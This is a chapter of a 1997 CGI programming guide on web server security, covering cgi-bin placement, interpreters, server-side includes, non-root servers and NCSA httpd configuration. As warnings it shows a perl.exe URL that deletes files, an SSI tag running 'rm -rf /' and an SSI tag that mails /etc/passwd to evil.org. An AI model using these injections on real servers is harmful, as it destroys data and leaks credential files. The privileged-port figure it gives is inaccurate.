eekim.com > Publications > CGI Developer's Guide > Chapter 9

Chapter 9: CGI Security    (01)

<Next | Table of Contents | Previous>    (02)

Basic Security Issues    (03)

Overall security of your Web serving machine depends on many factors. A secure CGI program is useless if your server is misconfigured or if there are other holes on your system. I discuss some of the related Web security issues here and explain how to properly configure your Web server for CGI.    (04)

Operating Systems    (05)

A common question is which platform is more secure for a Web server: a Macintosh running System 7, a UNIX workstation, a PC running OS/2, and so on. There have been many wars on this topic, each of which reflects people's different biases toward different operating systems.    (06)

No operating system is clearly more secure than another. UNIX is arguably more secure than a single-user platform such as a Macintosh or a PC running Windows, because once a user breaks into one of these latter machines, he or she has access to all your files. UNIX, however, has a fundamental understanding of file ownerships and permissions. If your server is configured correctly and is owned by a safe (for example, non-root) user, then if someone unauthorized breaks in, he or she can do only limited damage. Limited damage, however, can be bad enough, as you will see in the examples later in this chapter.    (07)

On the other hand, because UNIX often comes preconfigured with many different types of network services such as mail, FTP, Gopher, WWW, and so on, there are more potential "doors" for someone to enter. Securing all of these services is a difficult and time-consuming process, even for the experienced administrator. Even if you configure everything correctly, you are still at the mercy of possible bugs in each individual package. Security flaws in various packages are not uncommon, as is clear from the frequency of notices of insecurities in various common UNIX network services from organizations such as the Computer Emergency Response Team (CERT).    (08)

Every different platform has its own different security implications, but one is not more secure than another. Although you should be aware of the implications of each operating system, it should not be your primary criteria when choosing a platform. Choose your platform, seal off the holes associated with that platform, and then configure your Web server securely and correctly. Only after you have completed these steps should you concern yourself with writing secure CGI scripts.    (09)

Securing Your Web Server    (010)

The first step for writing secure CGI scripts is to make sure your Web server is securely and properly configured. If your Web server is not secure, it does not matter how carefully you write your CGI scripts; people can still break into your machine. Additionally, configuring your Web server correctly helps minimize the potential damage of a badly written CGI program.    (011)


Choosing a Secure Web Server    (012)

There are a countless number of Web servers available for a variety of platforms, and deciding which product is secure or not is a difficult if not impossible task. As with any product, you will need to rely on company reputation and word-of-mouth.    (013)

Examine your options. After you have a list of Web servers, look at how long each product has been available and how many people currently use it. The older and more frequently used the Web server, the more likely security bugs have been found and fixed. If the code is freely available and if you have some time and expertise, look through the source code yourself and see if you can find a potential hole. Read what people on the various Web Usenet newsgroups have to say about each product and its authors or publishers. Reputable companies or authors will inform their users immediately about any problems with their product. Read the various security alerts from organizations such as CERT and CIAC (Computer Incident Advisory Capability).    (014)

Examine the feature-set and determine whether you really need all of the features. The more complex and powerful the server, the more likely there is an undetected security hole. Make sure your server supports logging so you can trace the cause of security break-ins or other trouble.    (015)

Have a contingency plan. Be prepared to quickly upgrade or replace your Web server if a security hole is discovered. Pay attention to news releases and the newsgroups for information regarding your Web server. Try to use the latest non-beta version of the Web server.    (016)

Don't be afraid of the free servers. There is debate over whether providing source code makes a server more or less secure. If the server source is not available, security holes are more difficult to discover. If the source is available, however, then theoretically holes can be discovered, announced, and patched quickly.    (017)


You should have three goals when securing your Web server:    (018)

The more I know about your computer, the better equipped I am to break into it. For example, if I knew which directory or folder all of your sensitive, private information was stored, I have narrowed my objective from gaining total access to your machine to simply gaining access to a directory, usually a simpler task. Or if I had access to your server configuration files or source code to your CGI scripts, I could easily browse through them looking for potential security holes. If there are holes in your system, you don't want to make it easy for others to know about them, and you want to find them before others do.    (022)

Where Should You Put Your CGI?    (023)

As discussed earlier in Chapter 2, "The Basics," most Web servers enable you to run CGI programs in many different ways. For example, you could designate a specific directory as your cgi-bin. Alternatively, you could allow CGI to be stored in any directory.    (024)

There are advantages and disadvantages to both, but from a security standpoint, it is better to designate one directory to store all of your CGI applications. Having all of your programs in one directory makes it easier to keep track of all of the applications on your server and to audit them for potential security holes. It also helps prevent tampering. If your scripts are located in several different directories, you need to constantly check each one of these for tampering.    (025)

If you tend to use a scripting language (such as Perl) for most of your applications, then the source code is contained within the application itself. This code, then, is potentially vulnerable to being read, and exploited, if you're not careful. For example, many text editors save backup files, usually appending some extension to the end of the filename (such as .bak).    (026)

For example, emacs saves backup files with the extension filename~. Suppose that you have a CGI script written in Perl—program.cgi—stored in one of the Web data directories rather than in a central designated directory. Now suppose that you made a trivial change to the program using emacs and forgot to remove the backup file. You now have two files in your directory: program.cgi and program.cgi~. The Web server knows that files ending in .cgi are CGI programs and will run the program rather than display its content. However, a smart user might try to access program.cgi~ instead. Because it does not end in .cgi, your Web server sends it as a raw text file, thus allowing the user to search your source code for possible holes. This violates the first maxim of revealing more information than necessary.    (027)

However, if your server enables you to specify all files located in a certain directory as a CGI, it doesn't matter what the extension of the file is. So in the same example earlier, if the backup file were located in a properly designated directory and a user tried to access it, the server would try to run the program rather than send the source code.    (028)

Note that designating a central directory as the location of all CGI programs on your server is limiting, especially on a multiuser system. For example, if you are an Internet Service Provider and you want to allow your users to write and run their own CGI, you might be inclined to allow CGI to be stored in any directory. Before you do this, consider the alternative options carefully. Are your clients going to be writing a lot of special customized scripts? If not, it is better to have your clients submit the scripts for auditing before being added to the cgi-bin directory rather than enabling CGI in all directories.    (029)

Another issue regarding the location of CGI programs is where to put the interpreter. For interpreted scripts, the server runs the interpreter, which in turn loads the script and executes it.    (030)

Never put the interpreter in your cgi-bin directory, or in any directory in your data tree for that matter. Giving users access to the interpreter essentially gives them the power to run any application or any series of commands on your system.    (031)

This is especially important if you use a Windows or other non-UNIX operating system. In UNIX, you can specify the interpreter in the first line of your script. For example:    (032)


#!/usr/local/bin/perl
# this first line says use Perl to run the following script    (033)

In Windows, for example, there is no analogous method of specifying the interpreter within the script. One way to call a Perl script would be to create a batch file that calls Perl and the script:    (034)


rem progname.bat
rem a wrapper for my perl script, progname.pl
c:\perl\perl.exe progname.pl    (035)

However, you might be inclined to avoid creating this extra program by simply putting perl.exe in your cgi-bin directory and accessing the following URL:    (036)


http://hostname/cgi-bin/perl.exe?progname.pl    (037)

This works, but it also enables anyone in the world to run any Perl command on your machine. For example, someone could access the following URL:    (038)


http://hostname/cgi-bin/perl.exe?-e+unlink+%3C*.*%3E%3B    (039)

Decoded, the previous line is equivalent to calling Perl and running the following one-line program, which will delete all the files in the current directory. Clearly, this is undesirable behavior.    (040)


unlink <*.*>;    (041)

You will never have a reason to put an interpreter in your cgi-bin directory (or any directory capable of running CGI), so never do it. Some Windows servers can determine the type of script by its extension and run the appropriate interpreter. For example, Win-HTTPD assumes every CGI script ending in .pl is a Perl script and will run Perl automatically. If your Web server does not have this feature, use a wrapper script like the first Windows Perl example earlier in this chapter.    (042)


Should I Use an Interpreter?    (043)

You should never even be tempted to put an interpreter in your cgi-bin if you are using a UNIX or Macintosh Web server. As noted earlier, UNIX enables you to specify the location of the interpreter within the script. To enable scripts on a Macintosh, you associate the script with the appropriate interpreter by editing the resource using a utility such as ResEdit.    (044)


Server-Side Includes    (045)

In Chapter 4, "Output," you learned a few reasons why you should avoid server-side includes. A common reason often raised is security. Specifically, some implementations of server-side includes (notably NCSA and Netscape) enable users to embed the output of programs in an HTML document. Every time one of these HTML files is accessed, the program is run on the server-side and the output is displayed as part of the HTML document.    (046)

By allowing this sort of server-side include, you become susceptible to a few potential security risks. First, on a UNIX machine, the programs are run by the owner of the server, not the owner of the program. If your server isn't properly configured and you have sensitive files or programs owned by the server owner, these files and programs and their output become accessible by users on your machine.    (047)

This risk increases if you allow users to edit HTML files on your system from Web browsers. A common example of this is a guestbook. In a guestbook, users fill out a form and submit messages to a CGI program, which will often simply append the unedited message to an HTML file, the guestbook. By not editing or filtering the submitted message, you allow the user to submit HTML code from his or her browser. If you allow programs to be executed in a server-side include, a malicious user can wreak havoc to your machine by submitting a tag like the following:    (048)


<!--#exec cmd="/bin/rm -rf /"-->    (049)

This server-side include will attempt to delete everything it can on your machine.    (050)

Note that you could have prevented this problem in several ways without having to completely turn off server-side includes. You could have filtered out all HTML tags before appending the submitted text to your guestbook. Or you could have disabled the exec capability of your server-side include (I'll show you how to do this for the NCSA server later in this chapter in "Securing Your Web Server").    (051)

If you forgot to do either of these things, other precautions you should have taken would have greatly minimized the damage on your machine by such a tag anyway. For example, as long as your server was running as a nonexistent, non-root user, this tag would most likely not have deleted anything of any importance, perhaps nothing at all. Suppose that instead of attempting to delete everything on your disks, the malicious user attempted to obtain your /etc/passwd for hopeful cracking purposes using something like the following:    (052)


<!--#exec cmd="/bin/mail me@evil.org < /etc/passwd"-->    (053)

However, if your system was using the shadow password suite, then your /etc/passwd has no useful information to potential hackers.    (054)

This example demonstrates two important things about both server-side includes and CGI in general. First, security holes can be completely hidden. Who would have thought that a simple guestbook program on a system with server-side includes posed a large security risk? Second, the potential damage of an inadvertent security hole can be greatly minimized by carefully configuring your server and securing your machine as a whole.    (055)

Although server-side includes add another potentially useful dimension to your Web server, think carefully about the potential risks, as well. In Chapter 4 I offered several alternatives to using server-side includes. Unless you absolutely need to use server-side includes, you might as well disable them and close off a potential security hole.    (056)

Securing Your UNIX Web Server    (057)

A secured UNIX system is a powerful platform for serving Web documents. However, there are many complex issues associated with securing and properly configuring a UNIX Web server. The very first thing you should do is make sure your machine is as secure as possible.    (058)

Disable network services you don't need, no matter how harmless you think they are. It is highly unlikely that anyone can break into your machine using the finger protocol, for example, which only answers queries about users. However, finger can give hackers useful information about your system.    (059)

Secure your system internally. If a hacker manages to break into one user's account, make sure the hacker cannot gain any additional privileges. Useful actions include installing a shadow password suite and removing all setuid scripts (scripts that are set to run as the owner of the script, even if called by another user).    (060)

Securing a UNIX machine is a complex topic and goes beyond the scope of this book. I highly recommend you purchase a book on the topic, read the resources available on the Internet, even hire a consultant if necessary. Don't underestimate the importance of securing your machine.    (061)

Next, allot separate space for your Web server and document files. The intent of your document directories is to serve these files to other people, possibly to the rest of the world, so don't put anything in these directories that you wouldn't want anyone else to see. Your server directories contain important log and configuration information. You definitely do not want outside users to see this information, and you most likely don't want most of your internal users to see it or write to it either.    (062)

Set the ownership and permissions of your directories and server wisely. It's common practice to create a new user and group specifically to own Web-related directories. Make sure nonprivileged users cannot write to the server or document directories.    (063)

Your server should never be "running as root." This is a misleading statement. In UNIX, only root can access ports less than 1234. Because by default Web servers run on port 80, you need to be root to start a Web server. However, after the Web server is started as root, it can either change its own process's ownership (if it's internally threaded) or change the ownership of its child processes that handle connections (if it's a forking server). Either method allows the server to process requests as a non-root user. Make sure you configure your Web server to "run as non-root," preferably as a completely nonexistent user such as "nobody." This limits the potential damage if you have a security hole in either your server or your CGI program.    (064)

Disable all features unless you absolutely need them. If you initially disable a feature and then later decide you want to use it, you can always turn it back on. Features you might want to disable include server-side includes and serving symbolic links.    (065)

If your users don't need to serve their personal Web documents from your server, disable public Web directories. This enables you to have complete and central control over all documents served from your machine, an important quality for general maintenance and security.    (066)

If your users do need to serve their personal documents (for example, if you are an Internet Access Provider), make sure they cannot override your main configuration. Seriously consider whether users need the ability to run CGI programs from their own personal directories. As stated earlier, it's preferable to store all CGI in one centralized location.    (067)


CGIWRAP    (068)

A popular package available on the Web is cgiwrap, written by Nathan Neulinger nneul@umr.edu. This package enables users to run their own CGI programs by running the program as the owner of the program rather than the owner of the server.    (069)

It's not clear whether this is more or less beneficial than simply allowing anyone to run their own CGI programs unwrapped. On one hand, a bad CGI script has the capability to do less damage owned by nobody rather than by a user who actually exists. On the other hand, if the CGI program does damage the system as nobody, the responsibility lies on the system administrator whereas if only a specific user's files were damaged, it would ultimately be the user's responsibility.    (070)

My advice would be to not go with either option and simply disallow unaudited user CGI programs. If this is unacceptable, then ultimately whether you use cgiwrap or a similar program depends on where you want the responsibility to lie.    (071)


Finally, you might want to consider setting up a chroot environment for your Web documents. In UNIX, you can protect a directory tree by using chroot. A server running inside of a chrooted directory cannot see anything outside of that directory tree. Under a chrooted environment, if someone manages to break in through your Web server, they can damage files only within that directory tree.    (072)

Note, however, that a chrooted environment is appropriate only for a Web server serving a single source of documents. If your Web server is serving users' documents in multiple directories, it is nearly impossible to set up an effective chrooted environment. Additionally, a chrooted environment is weakened by the existence of interpreters (such as Perl or a shell). In a chrooted environment without any shells or interpreters, someone who has broken in can at worst change or damage your files; with an interpreter, potential damage increases.    (073)

Example: Securely Configuring the NCSA Server    (074)

I'll demonstrate how one might go about properly configuring a common Web server on a UNIX environment by discussing the NCSA Server (v1.4.2). There are many Web servers available for UNIX, but NCSA is one of the oldest, is commonly used, is freely available, and is fairly easy to configure. I will demonstrate only the configuration I think is most relevant to securing the Web server; for more detailed instructions on configuring NCSA httpd, look at its Web site: URL:http://hoohoo.ncsa.uiuc.edu/. You can apply the principles demonstrated here to almost any UNIX Web server.    (075)

First, I need to present the criteria. In this scenario, I want to set up the NCSA server on a secured UNIX machine for a small Internet service provider called MyCompany. The machine's host name is www.mycompany.net. I want everyone with an account on my machine to be able to serve his or her own Web documents and possibly use CGI or other features.    (076)

What features do I absolutely need? In this case, because I'm a small Internet service provider, I will not let users serve their own CGI. If they want to write and use their own CGI programs, they must submit it to me for auditing; if it's okay, I'll install it. Additionally, I'll provide general programs that are commonly requested, such as guestbooks and generic form-processing applications. I don't need any other features for now in this scenario, including server-side includes.    (077)

Here is how I'm going to configure my Web server. I will create the user and group www; these will own all of the appropriate directories. I will create one directory for my server files (/usr/local/etc/httpd/) and one directory for the Web documents (/usr/local/etc/httpd/htdocs/). Both directory trees will be world readable and user and group writeable.    (078)

Now, I'm ready to configure the server. NCSA httpd has three configuration files: access.conf, httpd.conf, and srm.conf. First, you need to tell httpd where your server and HTML directories are located. In httpd.conf, specify the server directory with the following line:    (079)


ServerRoot /usr/local/etc/httpd    (080)

In srm.conf, specify the document directory with    (081)


DocumentRoot /usr/local/etc/httpd/htdocs    (082)

Because I want to designate all files in /usr/local/etc/httpd/cgi-bin as CGI programs, I include the following line in srm.conf:    (083)


ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin    (084)

Note that the actual location of my cgi-bin directory is not in my document tree but in my server tree. Because I want to keep my server directory (including the directory containing the CGI) as private as possible, I keep it outside of the document directory. If I have a CGI in this directory called mail.cgi, I can access it by using the URL    (085)


http://www.mycompany.net/cgi-bin/mail.cgi    (086)

One other line in srm.conf needs to be edited; it's not particularly relevant to our specific quest of securing the server, but for completeness sake, I'll mention it anyway:    (087)


Alias /icons/ /usr/local/etc/httpd/icons    (088)

The Alias directive enables you to specify an alias for a directory either in or out of your document directory tree. Unlike the ScriptAlias directive, Alias does not change the meaning of the directory in any other way.    (089)

Because I want to disable server-side includes and not allow CGI in any other directory other than cgi-bin, I comment out the lines in srm.conf by inserting a pound sign (#) in front of the line.    (090)


#AddType text/x-server-parsed-html .shtml
#AddType application/x-httpd-cgi .cgi    (091)

AddType enables you to associate MIME types with filename extensions. text/x-server-parsed-html is the MIME type for parsed HTML (for example, HTML with embedded tags for server-side includes) whereas application/x-httpd-cgi is the type for CGI applications. I don't need to specify the extension for this MIME type in this case because I've configured the server to assume that everything in the cgi-bin, regardless of filename extension, is a CGI.    (092)

Finally, I need to set properties and access restrictions to certain directories by editing the global access.conf file. To define global parameters for all the directories, simply put the directives in the file without any surrounding tags. In order to specify parameters for specific directories, surround the directives with <Directory directoryname> tags where directoryname is the full path of the directory.    (093)

By default, the following global options are set:    (094)


Options Indexes FollowSymLinks    (095)

Indexes enables you to specify a file to look for if a directory is specified in the URL without a filename. By default, this variable, specified by DirectoryIndex in srm.conf, is set to index.html, which is fine for my purposes. FollowSymLinks means that the server will return the data to which the symbolic link is pointing. I see no need for this feature, so I'll disable it. Now, this line looks like the following:    (096)


Options Indexes    (097)

If I want to allow CGI programs in any directory, I could set that by including the option ExecCGI.    (098)


Options Indexes ExecCGI    (099)

This line, along with the AddType directive in srm.conf, would allow me to run a CGI in any directory by adding the extension .cgi to all CGI programs.    (0100)

By default, NCSA httpd is configured so that all of the settings in access.conf can be overridden by creating an .htaccess file in the specific directory with the appropriate properties and access restrictions. In this case, I don't mind if users change their own access restrictions. However, I don't want users to give themselves the ability to run CGI in their directory by including the .htaccess file.    (0101)


AddType application/x-httpd-cgi .cgi
Options Indexes ExecCGI    (0102)

Therefore, I edit access.conf to allow the user to override all settings except for Options.    (0103)


AllowOverride FileInfo AuthConfig Limit    (0104)

My server is now securely configured. I have disallowed CGI in all but the cgi-bin directory, and I've completely disallowed server-side includes. The server runs as user "nobody," a non-existent user on my system. I've disabled all features I don't need, and users cannot override these important restrictions. For more information on the many other configurations, including detailed access restrictions, refer to the NCSA server documentation.    (0105)

<Next | Table of Contents | Previous>    (0106)

Copyright © 1997 Sams.Net Publishing    (0107)